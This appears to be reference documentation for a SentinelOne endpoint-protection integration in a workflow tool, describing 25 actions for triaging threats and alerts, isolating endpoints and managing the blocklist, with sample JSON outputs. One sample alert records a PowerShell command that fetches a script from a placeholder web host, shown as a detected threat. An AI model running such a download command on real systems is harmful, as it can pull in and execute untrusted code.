SentinelOne

App · 25 actions

Work with SentinelOne Singularity endpoint protection: find and mitigate threats, set their status and verdict, add notes and ticket ids, triage STAR alerts, isolate, reconnect and scan endpoints, manage the blocklist and read the activity log, and start workflows on new threats, alerts, endpoints and activities.

Actions

ActionWhat it does
Add threat noteAdd a note to one or more threats, shown on each threat in the console.
Add to blocklistBlock a file from running by its SHA1 or SHA256 hash, everywhere or in chosen sites or accounts.
Delete threat noteDelete one note from a threat.
Disconnect endpoints from networkIsolate endpoints from the network so a threat can't spread.
Get endpointGet one endpoint by its agent id: name, operating system, addresses, whether it is online or isolated, and its active threats.
Get threatGet one threat: its name, classification, statuses, file and hashes, and the endpoint it was found on.
Get threat timelineList what happened to a threat, newest first: detection, mitigation, status changes and notes.
List activitiesRead the console's activity log, newest first: detections, mitigations, user actions and endpoint events, by type, site, threat, endpoint or time.
List alertsFind alerts raised by STAR custom detection rules, newest first, by site, severity, status, verdict, time or rule, with the endpoint and process that matched.
List blocklistList file hashes on the blocklist, newest first, including those set for the whole account and for sites under it.
List endpointsFind endpoints running the SentinelOne agent by site, group, name, operating system, network state, online or offline, or infection, with each one's addresses, user, agent version and threats.
List groupsList endpoint groups, with their site and how many endpoints each has.
List sitesList the sites the token can see, with their account, state and license use.
List threat notesList a threat's notes, newest first, with who wrote each.
List threatsFind threats SentinelOne detected on endpoints, newest first, by site, status, verdict, confidence, time or computer, with the file, hashes, endpoint and what was done about each.
Mitigate threatsKill, quarantine, remediate, roll back or release threats from quarantine.
Reconnect endpoints to networkReconnect isolated endpoints to the network.
Remove from blocklistRemove items from the blocklist by their ids, so the files may run again.
Set threat ticket IDRecord a ticket number from another system (a service desk or SOAR case) on threats, so the console links them.
Start full disk scanStart a Full Disk Scan on endpoints, which finds dormant threats and handles them by the endpoint's policy.
Stop full disk scanStop a Full Disk Scan running on endpoints.
Update alert statusSet alerts' incident status: unresolved, in progress or resolved.
Update alert verdictSet alerts' analyst verdict: true positive, false positive, suspicious or undefined.
Update threat statusSet threats' incident status (unresolved, in progress or resolved), and their analyst verdict with it if you choose one.
Update threat verdictSet threats' analyst verdict: true positive, false positive, suspicious or undefined.

Add threat note

Add a note to one or more threats, shown on each threat in the console.

Inputs

Threat IDsthreat_idslistRequired
The threats' ids, from 'List threats', a trigger or an earlier step. One or more.
NotetexttextRequired
The note to add.

Outputs

affectednumber
How many the console changed (ids it can't see aren't counted)
texttext
The note added
threat_idslist
The threats it was asked to change
Example output
{
  "affected": 1,
  "text": "Ticket opened with the service desk.",
  "threat_ids": [
    "1234567890123456789"
  ]
}

Add to blocklist

Block a file from running by its SHA1 or SHA256 hash, everywhere or in chosen sites or accounts.

Inputs

SHA1 hashsha1text
The file's SHA1 hash, 40 characters. Give this, the SHA256 hash, or both.
SHA256 hashsha256text
The file's SHA256 hash, 64 characters.
Operating systemos_typetextRequired
The operating system to block it on.One of: windows, macos, linux, windows_legacy (Windows (legacy)).
Descriptiondescriptiontext
Why it is blocked, shown in the console. Defaults to 'Added by Lodol'.
Sitessite_idslist
The sites the block applies to. Leave Sites and Accounts empty to block it everywhere the token reaches (global; needs a global-scope token).
Accountsaccount_idslist
The accounts the block applies to.

Outputs

idtext
The new blocklist item's id
itemobject
The new blocklist item
itemslist
Every item made, one per scope
Example output
{
  "id": "1011121314151617181",
  "item": {
    "account_ids": [],
    "created_at": "2026-11-10T14:40:00.000000Z",
    "description": "Blocked after the phishing campaign",
    "id": "1011121314151617181",
    "os_type": "windows",
    "scope_name": "Head office",
    "sha1": "3395856ce81f2b7382dee72602f798b642f14140",
    "sha256": "",
    "site_ids": [
      "2233445566778899001"
    ],
    "source": "user",
    "user_name": "Lodol automation"
  },
  "items": [
    {
      "account_ids": [],
      "created_at": "2026-11-10T14:40:00.000000Z",
      "description": "Blocked after the phishing campaign",
      "id": "1011121314151617181",
      "os_type": "windows",
      "scope_name": "Head office",
      "sha1": "3395856ce81f2b7382dee72602f798b642f14140",
      "sha256": "",
      "site_ids": [
        "2233445566778899001"
      ],
      "source": "user",
      "user_name": "Lodol automation"
    }
  ]
}

Delete threat note

Delete one note from a threat.

Inputs

Threat IDthreat_idtextRequired
The threat's id, from 'List threats', a trigger or an earlier step.
Note IDnote_idtextRequired
The note's id, from 'List threat notes'.

Outputs

deletedtrue/false
True once it was deleted
note_idtext
The note deleted
threat_idtext
The threat
Example output
{
  "deleted": true,
  "note_id": "8899001122334455667",
  "threat_id": "1234567890123456789"
}

Disconnect endpoints from network

Isolate endpoints from the network so a threat can't spread. They still talk to the SentinelOne console, so you can investigate and reconnect them.

Inputs

Endpoint agent IDsagent_idslistRequired
The endpoints' agent ids, from 'List endpoints', a threat's agent_id or an earlier step. One or more.

Outputs

affectednumber
How many the console changed (ids it can't see aren't counted)
agent_idslist
The endpoints it was asked to isolate
Example output
{
  "affected": 1,
  "agent_ids": [
    "1122334455667788990"
  ]
}

Get endpoint

Get one endpoint by its agent id: name, operating system, addresses, whether it is online or isolated, and its active threats.

Inputs

Endpoint agent IDagent_idtextRequired
The endpoint's agent id, from 'List endpoints', a threat's agent_id or an earlier step.

Outputs

agentobject
The endpoint
Example output
{
  "agent": {
    "account_id": "4455667788990011223",
    "account_name": "Acme Corp",
    "active_threats": 1,
    "agent_version": "24.1.2.6",
    "computer_name": "ACME-LT-042",
    "domain": "ACME",
    "external_ip": "203.0.113.10",
    "group_id": "3344556677889900112",
    "group_name": "Default Group",
    "id": "1122334455667788990",
    "infected": true,
    "ip_addresses": [
      "10.0.4.17"
    ],
    "is_active": true,
    "is_decommissioned": false,
    "is_up_to_date": true,
    "last_active_date": "2026-11-12T09:41:00.000000Z",
    "last_logged_in_user": "jdoe",
    "machine_type": "laptop",
    "mitigation_mode": "protect",
    "model_name": "HP EliteBook 840 G9",
    "network_status": "connected",
    "os_name": "Windows 11 Pro",
    "os_revision": "22631",
    "os_type": "windows",
    "registered_at": "2025-03-02T10:15:00.000000Z",
    "scan_finished_at": "2026-11-09T02:41:13.000000Z",
    "scan_started_at": "2026-11-09T02:00:00.000000Z",
    "scan_status": "finished",
    "serial_number": "5CD1234XYZ",
    "site_id": "2233445566778899001",
    "site_name": "Head office",
    "updated_at": "2026-11-12T09:41:00.000000Z",
    "uuid": "ff819e70af13be381993075eb0ce5f2f6de05be2"
  }
}

Get threat

Get one threat: its name, classification, statuses, file and hashes, and the endpoint it was found on.

Inputs

Threat IDthreat_idtextRequired
The threat's id, from 'List threats', a trigger or an earlier step.

Outputs

threatobject
The threat
Example output
{
  "threat": {
    "account_id": "4455667788990011223",
    "account_name": "Acme Corp",
    "agent_id": "1122334455667788990",
    "agent_network_status": "connected",
    "analyst_verdict": "undefined",
    "classification": "Malware",
    "computer_name": "ACME-LT-042",
    "confidence_level": "malicious",
    "created_at": "2026-11-10T14:22:05.123456Z",
    "detection_engines": [
      "SentinelOne Cloud"
    ],
    "external_ticket_id": "",
    "file_path": "\\Device\\HarddiskVolume3\\Users\\jdoe\\Downloads\\invoice_2026.exe",
    "group_id": "3344556677889900112",
    "group_name": "Default Group",
    "id": "1234567890123456789",
    "identified_at": "2026-11-10T14:22:01.000000Z",
    "incident_status": "unresolved",
    "initiated_by": "agent_policy",
    "ip_address": "10.0.4.17",
    "logged_in_user": "jdoe",
    "md5": "44d88612fea8a8f36de82e1278abb02f",
    "mitigated_preemptively": false,
    "mitigation_actions": [
      {
        "action": "quarantine",
        "last_update": "2026-11-10T14:22:07.000000Z",
        "status": "success"
      }
    ],
    "mitigation_status": "mitigated",
    "name": "invoice_2026.exe",
    "originator_process": "explorer.exe",
    "os_type": "windows",
    "process_user": "ACME\\jdoe",
    "sha1": "3395856ce81f2b7382dee72602f798b642f14140",
    "sha256": "275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f",
    "site_id": "2233445566778899001",
    "site_name": "Head office",
    "storyline": "9B6E0F1A2C3D4E5F",
    "updated_at": "2026-11-10T14:23:40.456789Z"
  }
}

Get threat timeline

List what happened to a threat, newest first: detection, mitigation, status changes and notes.

Inputs

Threat IDthreat_idtextRequired
The threat's id, from 'List threats', a trigger or an earlier step.
Limitlimitnumber
How many to return, 1 to 1,000. Defaults to 50.From 1 to 1000.
Cursorcursortext
The 'next_cursor' from the previous page, to read on.

Outputs

countnumber
How many are on this page
eventslist
The events, newest first
has_moretrue/false
True if there are more pages
next_cursortext
Pass as Cursor to read the next page; empty on the last
threat_idtext
The threat
totalnumber
How many match in all
Example output
{
  "count": 1,
  "events": [
    {
      "activity_type": 3005,
      "created_at": "2026-11-10T14:22:07.000000Z",
      "id": "9900112233445566778",
      "primary_description": "The agent quarantined invoice_2026.exe",
      "secondary_description": "",
      "user_id": ""
    }
  ],
  "has_more": false,
  "next_cursor": "",
  "threat_id": "1234567890123456789",
  "total": 1
}

List activities

Read the console's activity log, newest first: detections, mitigations, user actions and endpoint events, by type, site, threat, endpoint or time.

Inputs

Activity typesactivity_typeslist
Only these kinds of activity. Leave empty for all.
Sitessite_idslist
Only these sites. Leave empty for every site.
Threat IDthreat_idtext
Only activities about this threat.
Endpoint agent IDagent_idtext
Only activities about this endpoint.
Aftercreated_afterdate and time
Only activities at or after this time.
Beforecreated_beforedate and time
Only activities at or before this time.
Limitlimitnumber
How many to return, 1 to 1,000. Defaults to 50.From 1 to 1000.
Cursorcursortext
The 'next_cursor' from the previous page, to read on.

Outputs

activitieslist
The activities on this page
countnumber
How many are on this page
has_moretrue/false
True if there are more pages
next_cursortext
Pass as Cursor to read the next page; empty on the last
totalnumber
How many match in all
Example output
{
  "activities": [
    {
      "account_id": "4455667788990011223",
      "activity_type": 19,
      "agent_id": "1122334455667788990",
      "created_at": "2026-11-10T14:22:05.200000Z",
      "data": {
        "computerName": "ACME-LT-042",
        "threatClassification": "Malware"
      },
      "group_id": "3344556677889900112",
      "id": "7788990011223344556",
      "primary_description": "Threat invoice_2026.exe was detected on ACME-LT-042",
      "secondary_description": "Malicious file quarantined",
      "site_id": "2233445566778899001",
      "site_name": "Head office",
      "threat_id": "1234567890123456789",
      "user_id": ""
    }
  ],
  "count": 1,
  "has_more": false,
  "next_cursor": "",
  "total": 1
}

List alerts

Find alerts raised by STAR custom detection rules, newest first, by site, severity, status, verdict, time or rule, with the endpoint and process that matched.

Inputs

Sitessite_idslist
Only these sites. Leave empty for every site.
Severitiesseveritieslist
Only alerts of these severities.One or more of: Critical, High, Medium, Low, Info.
Incident statusesincident_statuseslist
Only alerts with these incident statuses.One or more of: unresolved, in_progress (In progress), resolved.
Analyst verdictsanalyst_verdictslist
Only alerts with these verdicts.One or more of: true_positive (True positive), false_positive (False positive), suspicious, undefined.
Created aftercreated_afterdate and time
Only alerts created at or after this time.
Created beforecreated_beforedate and time
Only alerts created at or before this time.
Rule name containsrule_nametext
Only alerts from rules whose name contains this.
Searchsearchtext
Words to look for in any of the alert's fields.
Limitlimitnumber
How many to return, 1 to 1,000. Defaults to 50.From 1 to 1000.
Cursorcursortext
The 'next_cursor' from the previous page, to read on.

Outputs

alertslist
The alerts on this page
countnumber
How many are on this page
has_moretrue/false
True if there are more pages
next_cursortext
Pass as Cursor to read the next page; empty on the last
totalnumber
How many match in all
Example output
{
  "alerts": [
    {
      "account_id": "4455667788990011223",
      "agent_uuid": "ff819e70af13be381993075eb0ce5f2f6de05be2",
      "analyst_verdict": "undefined",
      "computer_name": "ACME-LT-042",
      "created_at": "2026-11-10T15:01:12.000000Z",
      "event_type": "Process Creation",
      "id": "5566778899001122334",
      "incident_status": "unresolved",
      "os_family": "windows",
      "process_command_line": "powershell -c iwr http://example.com/a.ps1",
      "process_file_path": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
      "process_name": "powershell.exe",
      "process_sha1": "6cbce4a295c163791b60fc23d285e6d84f28ee4c",
      "process_sha256": "de96a6e69944335375dc1ac238336066889d9ffc7d73628ef4fe1b1b160ab32c",
      "process_user": "ACME\\jdoe",
      "reported_at": "2026-11-10T15:01:20.000000Z",
      "rule_description": "PowerShell fetched a file from the internet",
      "rule_id": "6677889900112233445",
      "rule_name": "Suspicious PowerShell download",
      "severity": "High",
      "site_id": "2233445566778899001",
      "source": "STAR",
      "storyline": "9B6E0F1A2C3D4E5F",
      "updated_at": "2026-11-10T15:01:20.000000Z"
    }
  ],
  "count": 1,
  "has_more": false,
  "next_cursor": "",
  "total": 1
}

List blocklist

List file hashes on the blocklist, newest first, including those set for the whole account and for sites under it.

Inputs

Sitessite_idslist
The sites the block applies to. Leave Sites and Accounts empty to block it everywhere the token reaches (global; needs a global-scope token).
Accountsaccount_idslist
The accounts the block applies to.
Hash containshash_containstext
Only hashes containing this.
Operating systemsos_typeslist
Only these operating systems.One or more of: windows, macos, linux, windows_legacy (Windows (legacy)).
Limitlimitnumber
How many to return, 1 to 1,000. Defaults to 50.From 1 to 1000.
Cursorcursortext
The 'next_cursor' from the previous page, to read on.

Outputs

countnumber
How many are on this page
has_moretrue/false
True if there are more pages
itemslist
The blocklist items on this page
next_cursortext
Pass as Cursor to read the next page; empty on the last
totalnumber
How many match in all
Example output
{
  "count": 1,
  "has_more": false,
  "items": [
    {
      "account_ids": [],
      "created_at": "2026-11-10T14:40:00.000000Z",
      "description": "Blocked after the phishing campaign",
      "id": "1011121314151617181",
      "os_type": "windows",
      "scope_name": "Head office",
      "sha1": "3395856ce81f2b7382dee72602f798b642f14140",
      "sha256": "",
      "site_ids": [
        "2233445566778899001"
      ],
      "source": "user",
      "user_name": "Lodol automation"
    }
  ],
  "next_cursor": "",
  "total": 1
}

List endpoints

Find endpoints running the SentinelOne agent by site, group, name, operating system, network state, online or offline, or infection, with each one's addresses, user, agent version and threats.

Inputs

Sitessite_idslist
Only these sites. Leave empty for every site.
Groupsgroup_idslist
Only endpoints in these groups. Leave empty for every group.
Computer name containscomputer_nametext
Only endpoints whose computer name contains this.
Operating systemsos_typeslist
Only these operating systems.One or more of: windows, macos, linux, windows_legacy (Windows (legacy)).
Network statusesnetwork_statuseslist
Only endpoints in these network states. Disconnected means isolated.One or more of: connected, disconnected (Disconnected (isolated)), connecting (Reconnecting), disconnecting.
Online or offlineactivitytext
Only endpoints that have checked in lately (online), or haven't (offline). Leave empty for both.One of: online, offline.
Only infectedinfected_onlytrue/false
Only endpoints with at least one active threat.
Searchsearchtext
Words to match in any of the endpoint's details, such as an IP address or user name.
Limitlimitnumber
How many to return, 1 to 1,000. Defaults to 50.From 1 to 1000.
Cursorcursortext
The 'next_cursor' from the previous page, to read on.

Outputs

agentslist
The endpoints on this page
countnumber
How many are on this page
has_moretrue/false
True if there are more pages
next_cursortext
Pass as Cursor to read the next page; empty on the last
totalnumber
How many match in all
Example output
{
  "agents": [
    {
      "account_id": "4455667788990011223",
      "account_name": "Acme Corp",
      "active_threats": 1,
      "agent_version": "24.1.2.6",
      "computer_name": "ACME-LT-042",
      "domain": "ACME",
      "external_ip": "203.0.113.10",
      "group_id": "3344556677889900112",
      "group_name": "Default Group",
      "id": "1122334455667788990",
      "infected": true,
      "ip_addresses": [
        "10.0.4.17"
      ],
      "is_active": true,
      "is_decommissioned": false,
      "is_up_to_date": true,
      "last_active_date": "2026-11-12T09:41:00.000000Z",
      "last_logged_in_user": "jdoe",
      "machine_type": "laptop",
      "mitigation_mode": "protect",
      "model_name": "HP EliteBook 840 G9",
      "network_status": "connected",
      "os_name": "Windows 11 Pro",
      "os_revision": "22631",
      "os_type": "windows",
      "registered_at": "2025-03-02T10:15:00.000000Z",
      "scan_finished_at": "2026-11-09T02:41:13.000000Z",
      "scan_started_at": "2026-11-09T02:00:00.000000Z",
      "scan_status": "finished",
      "serial_number": "5CD1234XYZ",
      "site_id": "2233445566778899001",
      "site_name": "Head office",
      "updated_at": "2026-11-12T09:41:00.000000Z",
      "uuid": "ff819e70af13be381993075eb0ce5f2f6de05be2"
    }
  ],
  "count": 1,
  "has_more": false,
  "next_cursor": "",
  "total": 1
}

List groups

List endpoint groups, with their site and how many endpoints each has.

Inputs

Sitessite_idslist
Only groups in these sites. Leave empty for every site.
Searchsearchtext
Words to match in a group's name or description.
Limitlimitnumber
How many to return, 1 to 1,000. Defaults to 50.From 1 to 1000.
Cursorcursortext
The 'next_cursor' from the previous page, to read on.

Outputs

countnumber
How many are on this page
groupslist
The groups on this page
has_moretrue/false
True if there are more pages
next_cursortext
Pass as Cursor to read the next page; empty on the last
totalnumber
How many match in all
Example output
{
  "count": 1,
  "groups": [
    {
      "created_at": "2024-01-15T09:00:00.000000Z",
      "description": "",
      "id": "3344556677889900112",
      "is_default": true,
      "name": "Default Group",
      "site_id": "2233445566778899001",
      "total_agents": 120,
      "type": "static"
    }
  ],
  "has_more": false,
  "next_cursor": "",
  "total": 1
}

List sites

List the sites the token can see, with their account, state and license use.

Inputs

Searchsearchtext
Words to match in a site's name or description.
Only activeactive_onlytrue/false
Leave out expired and deleted sites.
Limitlimitnumber
How many to return, 1 to 1,000. Defaults to 50.From 1 to 1000.
Cursorcursortext
The 'next_cursor' from the previous page, to read on.

Outputs

countnumber
How many are on this page
has_moretrue/false
True if there are more pages
next_cursortext
Pass as Cursor to read the next page; empty on the last
siteslist
The sites on this page
totalnumber
How many match in all
Example output
{
  "count": 1,
  "has_more": false,
  "next_cursor": "",
  "sites": [
    {
      "account_id": "4455667788990011223",
      "account_name": "Acme Corp",
      "active_licenses": 120,
      "created_at": "2024-01-15T09:00:00.000000Z",
      "description": "",
      "id": "2233445566778899001",
      "is_default": false,
      "name": "Head office",
      "site_type": "Paid",
      "state": "active",
      "total_licenses": 150
    }
  ],
  "total": 1
}

List threat notes

List a threat's notes, newest first, with who wrote each.

Inputs

Threat IDthreat_idtextRequired
The threat's id, from 'List threats', a trigger or an earlier step.
Limitlimitnumber
How many to return, 1 to 1,000. Defaults to 50.From 1 to 1000.
Cursorcursortext
The 'next_cursor' from the previous page, to read on.

Outputs

countnumber
How many are on this page
has_moretrue/false
True if there are more pages
next_cursortext
Pass as Cursor to read the next page; empty on the last
noteslist
The notes, newest first
threat_idtext
The threat
totalnumber
How many match in all
Example output
{
  "count": 1,
  "has_more": false,
  "next_cursor": "",
  "notes": [
    {
      "created_at": "2026-11-10T14:30:00.000000Z",
      "creator": "Lodol automation",
      "id": "8899001122334455667",
      "text": "Ticket opened with the service desk.",
      "updated_at": "2026-11-10T14:30:00.000000Z"
    }
  ],
  "threat_id": "1234567890123456789",
  "total": 1
}

List threats

Find threats SentinelOne detected on endpoints, newest first, by site, status, verdict, confidence, time or computer, with the file, hashes, endpoint and what was done about each.

Inputs

Sitessite_idslist
Only these sites. Leave empty for every site.
Incident statusesincident_statuseslist
Only threats with these incident statuses.One or more of: unresolved, in_progress (In progress), resolved.
Mitigation statusesmitigation_statuseslist
Only threats with these mitigation statuses.One or more of: not_mitigated (Not mitigated), mitigated, marked_as_benign (Marked as benign).
Confidence levelsconfidence_levelslist
Only threats SentinelOne rates this way.One or more of: malicious, suspicious.
Analyst verdictsanalyst_verdictslist
Only threats with these verdicts.One or more of: true_positive (True positive), false_positive (False positive), suspicious, undefined.
Detected aftercreated_afterdate and time
Only threats detected at or after this time.
Detected beforecreated_beforedate and time
Only threats detected at or before this time.
Computer name containscomputer_nametext
Only threats on endpoints whose name contains this.
Searchsearchtext
Words to look for in the threat's details, hash, file path, computer name or command line.
Limitlimitnumber
How many to return, 1 to 1,000. Defaults to 50.From 1 to 1000.
Cursorcursortext
The 'next_cursor' from the previous page, to read on.

Outputs

countnumber
How many are on this page
has_moretrue/false
True if there are more pages
next_cursortext
Pass as Cursor to read the next page; empty on the last
threatslist
The threats on this page
totalnumber
How many match in all
Example output
{
  "count": 1,
  "has_more": false,
  "next_cursor": "",
  "threats": [
    {
      "account_id": "4455667788990011223",
      "account_name": "Acme Corp",
      "agent_id": "1122334455667788990",
      "agent_network_status": "connected",
      "analyst_verdict": "undefined",
      "classification": "Malware",
      "computer_name": "ACME-LT-042",
      "confidence_level": "malicious",
      "created_at": "2026-11-10T14:22:05.123456Z",
      "detection_engines": [
        "SentinelOne Cloud"
      ],
      "external_ticket_id": "",
      "file_path": "\\Device\\HarddiskVolume3\\Users\\jdoe\\Downloads\\invoice_2026.exe",
      "group_id": "3344556677889900112",
      "group_name": "Default Group",
      "id": "1234567890123456789",
      "identified_at": "2026-11-10T14:22:01.000000Z",
      "incident_status": "unresolved",
      "initiated_by": "agent_policy",
      "ip_address": "10.0.4.17",
      "logged_in_user": "jdoe",
      "md5": "44d88612fea8a8f36de82e1278abb02f",
      "mitigated_preemptively": false,
      "mitigation_actions": [
        {
          "action": "quarantine",
          "last_update": "2026-11-10T14:22:07.000000Z",
          "status": "success"
        }
      ],
      "mitigation_status": "mitigated",
      "name": "invoice_2026.exe",
      "originator_process": "explorer.exe",
      "os_type": "windows",
      "process_user": "ACME\\jdoe",
      "sha1": "3395856ce81f2b7382dee72602f798b642f14140",
      "sha256": "275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f",
      "site_id": "2233445566778899001",
      "site_name": "Head office",
      "storyline": "9B6E0F1A2C3D4E5F",
      "updated_at": "2026-11-10T14:23:40.456789Z"
    }
  ],
  "total": 1
}

Mitigate threats

Kill, quarantine, remediate, roll back or release threats from quarantine. The agents carry it out and report back in the threat's mitigation actions.

Inputs

Threat IDsthreat_idslistRequired
The threats' ids, from 'List threats', a trigger or an earlier step. One or more.
Mitigation actionmitigation_actiontextRequired
What to do. Remediate works on Windows and macOS, roll back on Windows only.One of: kill (Kill the process), quarantine (Quarantine the file), remediate (Remediate (undo its changes; Windows and macOS)), rollback-remediation (Roll back the endpoint (Windows only)), un-quarantine (Release the file from quarantine).

Outputs

affectednumber
How many the console changed (ids it can't see aren't counted)
mitigation_actiontext
The mitigation action sent
threat_idslist
The threats it was asked to change
Example output
{
  "affected": 1,
  "mitigation_action": "quarantine",
  "threat_ids": [
    "1234567890123456789"
  ]
}

Reconnect endpoints to network

Reconnect isolated endpoints to the network.

Inputs

Endpoint agent IDsagent_idslistRequired
The endpoints' agent ids, from 'List endpoints', a threat's agent_id or an earlier step. One or more.

Outputs

affectednumber
How many the console changed (ids it can't see aren't counted)
agent_idslist
The endpoints it was asked to reconnect
Example output
{
  "affected": 1,
  "agent_ids": [
    "1122334455667788990"
  ]
}

Remove from blocklist

Remove items from the blocklist by their ids, so the files may run again.

Inputs

Blocklist item IDsitem_idslistRequired
The items' ids, from 'List blocklist' or 'Add to blocklist'.

Outputs

affectednumber
How many the console changed (ids it can't see aren't counted)
item_idslist
The items it was asked to remove
Example output
{
  "affected": 1,
  "item_ids": [
    "1011121314151617181"
  ]
}

Set threat ticket ID

Record a ticket number from another system (a service desk or SOAR case) on threats, so the console links them.

Inputs

Threat IDsthreat_idslistRequired
The threats' ids, from 'List threats', a trigger or an earlier step. One or more.
Ticket IDexternal_ticket_idtextRequired
The ticket's number or id, such as INC0012345.

Outputs

affectednumber
How many the console changed (ids it can't see aren't counted)
external_ticket_idtext
The ticket id set
threat_idslist
The threats it was asked to change
Example output
{
  "affected": 1,
  "external_ticket_id": "INC0012345",
  "threat_ids": [
    "1234567890123456789"
  ]
}

Start full disk scan

Start a Full Disk Scan on endpoints, which finds dormant threats and handles them by the endpoint's policy.

Inputs

Endpoint agent IDsagent_idslistRequired
The endpoints' agent ids, from 'List endpoints', a threat's agent_id or an earlier step. One or more.

Outputs

affectednumber
How many the console changed (ids it can't see aren't counted)
agent_idslist
The endpoints it was asked to scan
Example output
{
  "affected": 1,
  "agent_ids": [
    "1122334455667788990"
  ]
}

Stop full disk scan

Stop a Full Disk Scan running on endpoints.

Inputs

Endpoint agent IDsagent_idslistRequired
The endpoints' agent ids, from 'List endpoints', a threat's agent_id or an earlier step. One or more.

Outputs

affectednumber
How many the console changed (ids it can't see aren't counted)
agent_idslist
The endpoints it was asked to stop scanning
Example output
{
  "affected": 1,
  "agent_ids": [
    "1122334455667788990"
  ]
}

Update alert status

Set alerts' incident status: unresolved, in progress or resolved.

Inputs

Alert IDsalert_idslistRequired
The alerts' ids, from 'List alerts', a trigger or an earlier step. One or more.
Incident statusincident_statustextRequired
The status to set.One of: unresolved, in_progress (In progress), resolved.

Outputs

affectednumber
How many the console changed (ids it can't see aren't counted)
alert_idslist
The alerts it was asked to change
incident_statustext
The status set
Example output
{
  "affected": 1,
  "alert_ids": [
    "5566778899001122334"
  ],
  "incident_status": "in_progress"
}

Update alert verdict

Set alerts' analyst verdict: true positive, false positive, suspicious or undefined.

Inputs

Alert IDsalert_idslistRequired
The alerts' ids, from 'List alerts', a trigger or an earlier step. One or more.
Analyst verdictanalyst_verdicttextRequired
The verdict to set.One of: true_positive (True positive), false_positive (False positive), suspicious, undefined.

Outputs

affectednumber
How many the console changed (ids it can't see aren't counted)
alert_idslist
The alerts it was asked to change
analyst_verdicttext
The verdict set
Example output
{
  "affected": 1,
  "alert_ids": [
    "5566778899001122334"
  ],
  "analyst_verdict": "false_positive"
}

Update threat status

Set threats' incident status (unresolved, in progress or resolved), and their analyst verdict with it if you choose one.

Inputs

Threat IDsthreat_idslistRequired
The threats' ids, from 'List threats', a trigger or an earlier step. One or more.
Incident statusincident_statustextRequired
The status to set.One of: unresolved, in_progress (In progress), resolved.
Analyst verdictanalyst_verdicttext
A verdict to set at the same time. Leave empty to keep it.One of: true_positive (True positive), false_positive (False positive), suspicious, undefined.

Outputs

affectednumber
How many the console changed (ids it can't see aren't counted)
incident_statustext
The status set
threat_idslist
The threats it was asked to change
Example output
{
  "affected": 1,
  "incident_status": "resolved",
  "threat_ids": [
    "1234567890123456789"
  ]
}

Update threat verdict

Set threats' analyst verdict: true positive, false positive, suspicious or undefined.

Inputs

Threat IDsthreat_idslistRequired
The threats' ids, from 'List threats', a trigger or an earlier step. One or more.
Analyst verdictanalyst_verdicttextRequired
The verdict to set.One of: true_positive (True positive), false_positive (False positive), suspicious, undefined.

Outputs

affectednumber
How many the console changed (ids it can't see aren't counted)
analyst_verdicttext
The verdict set
threat_idslist
The threats it was asked to change
Example output
{
  "affected": 1,
  "analyst_verdict": "true_positive",
  "threat_ids": [
    "1234567890123456789"
  ]
}

On this page